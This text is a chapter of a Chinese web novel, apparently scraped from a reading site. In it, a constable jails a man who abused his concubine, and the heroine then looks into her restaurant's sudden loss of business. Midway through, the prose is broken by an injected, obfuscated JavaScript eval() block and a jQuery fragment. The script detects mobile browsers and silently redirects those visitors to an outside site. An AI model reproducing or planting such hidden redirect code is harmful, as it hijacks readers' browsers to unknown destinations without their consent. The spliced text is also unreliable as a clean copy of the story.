梁有道皱起眉眯着眼看向宋瑞,冷声道:“大盛朝律法规定,不得殴打妻子,就算是奴仆也不能肆意虐待,你可知罪?”
宋瑞一脸委屈:“梁捕头,我冤枉啊!我就是吓唬吓唬她没有怎么动手……”
“雯丽身上全是伤,我亲眼看到的!”苏阑音打断他的话说道。
“你……”宋瑞气急败坏地瞪大眼睛,“你没有证据可别胡说八道!”
“既然你说我胡说八道,那你说雯丽为什么失踪了?该不会是被你打死,然后你怕东窗事发,所以将她毁尸灭迹,然后又来讹我,为的就是想要把这个罪名扣到我头上吧?”
“你胡说!梁捕头你千万别听她胡说八道,这简直是血口喷人!”
“好了!”梁有道大声呵斥,“有没有胡说八道,等调查清楚自然就见分晓了。”
“怎么调查?”苏阑音一脸好奇。
“实不相瞒,今日一早便有百姓禀报,说城外发现了两具尸体,虽然面目全非,但是可以从身材判断应该是一男一女。”
“一男一女?难道是雯丽和那个奸夫刘诚?”宋瑞一下子精神起来。
“有可能,你先跟我去衙门认一认吧。”
“好!”
梁有道转身往外走,宋瑞紧跟其后。
苏阑音见状,这可是看热闹的大好机会,于是带着翠竹也跟去了。
一行人来到衙门辨认尸体。
听说是有人从河里捞上来的,因为泡了许久已经辨不出样貌,但通过衣服能看出应该是雯丽和刘诚。
宋瑞一下傻了眼,他没想到会这样,还以为雯丽是被苏阑音藏起来了。
“你确定这是你要找的人吗?”梁有道再次确认。
“是……”宋瑞木然地点点头。
“初步判断应该是殉情。”
“这个贱人……”
宋瑞握紧拳头,一副受到屈辱的模样,苏阑音看了只觉得爽快。
上辈子,她一心一意扶持他,可最后换来什么?
背叛她,砍掉她的双腿,甚至还让那群乞丐来折磨她。
这辈子,她都要一一奉还。
想到这里,苏阑音嘴角勾起的冷笑很快又落下,转而换上一脸悲伤。
“宋瑞,你
真是好恨的心啊,雯丽再怎么说也是与我一同长大的,他宁可背叛我也要做你的妾,可是你活活将她逼死!”
“我没有!”
宋瑞慌了,回头瞪着苏阑音怒吼:“你不要血口喷人,我什么时候逼她了,分明是她背着我偷人,还恬不知耻地与奸夫殉情!”
“你就没有想过吗?她为什么宁可去死也不会再回到你身边?但凡有活路,她会寻死吗?还不是因为你虐待她!”
“我打她怎么了?谁让这个贱人给我戴绿帽子!而且她跟我的时候就不干净,我打她也是她活该!”
宋瑞气急败坏的直接自己承认了,梁有道一听,立刻将他按在一旁。
“看来,这二人的死跟你脱不开关系,来人,押下去!”
“我没有!我只是打了她几下,她自杀的跟我有什么关系?放开我,你们这群狗东西知道我是谁吗?我可是太子的人,放开我……”
宋瑞被气得大呼小叫,可惜,这牢房里没人理会。
狱卒们面无表情地将他踹进了牢房,然后关了起来。
苏阑音满意地笑了笑,走到没人的地方将银票塞给梁有道。
“多谢梁叔。”
“不必。”
梁有道将银票推拒,冷着脸道:“他犯了错,我自然会依照律法惩治他,所以这个银子你不用给我。”
“您就收下吧,这些钱就当是我的一点心意,我听说最近衙门吃紧,月银都发不开了。”
“唉,也不知怎么回事,突然间国库空虚了,看来真是要变天了。”
苏阑音想到什么,但也不好多嘴,只能笑着道:“只是过渡,应该很快就好了,我还有事,先告退了。”
说完便离开了衙门,直奔醉仙楼。
这些时日苏晟铭不在,陆婉君忙着照顾苏晟言,所以这醉仙楼一直都是掌柜的代为管理。
苏阑音今日身体好了些,便惦记着亲自过去看看。
正是晌午,按理说应该同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304609|143554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以往一样门庭若市,可今天,却格外冷清。
苏阑音进去的时候,大厅只坐了两桌客人,还都是两三个人的散客,楼上的雅阁更是空无一人。
“怎么回事?”
以往从未出现过这种情况,所以她立刻走到柜台去询问
。
钱掌柜见她来了,立刻拿着账本走出来,恭敬地汇报:“姑娘您可算来了,这半个月咱们生意一直不好,再这么下去,只怕要关门了。
“什么情况?
“您先看看账本吧?
钱掌柜双手奉上,苏阑音接过后翻开一目十行地看了一遍,越看眉头越紧。
“怎么才这点儿流水?半个月卖的还不如咱们从前一天的数目?
“前面不远新开了一家春风楼,装修豪华、菜品新颖,还有不少异域美人唱歌跳舞,将咱们的熟客全部吸引过去了。
“那也不该这么冷清啊。
“小人出去打听过,最近盛京里的生意都不好做,可能是跟赋税有关系。
苏阑音知道这件事,最近天灾发生的频繁,边关又在打仗,朝廷需要赈灾银,更需要军饷,所以今年追加的税收。
可是,醉仙楼平日里接待的都是些达官贵人、皇亲国戚,按理说他们不该受到影响啊。
怎么会突然没了生意呢?
“唉,咱们马上要发月银了,可是账上没什么银子了……钱掌柜一脸为难。
苏阑音知道,越是生意不好的时候,也不能让伙计们寒心。
于是说道:“下午去陆家取银票,咱们就算亏钱也不会让大家喝西北风的。
听到她这么说,钱掌柜感动不已:“姑娘,您跟陆东家一样,都是愿意为我们这些小人物考虑的,你放心,我们肯定也会对醉仙楼忠心耿耿。
“不必跟我说这些漂亮话,把事情办好才是最重要的,越是没客人,我们越是要打起精神,绝对不能让人看出敷衍的态度,知道吗?
“是,小人明白。
“关于客人都跑到春风楼这件事,我会去调查清楚,你放心。
“有姑娘在,小人一百个放心。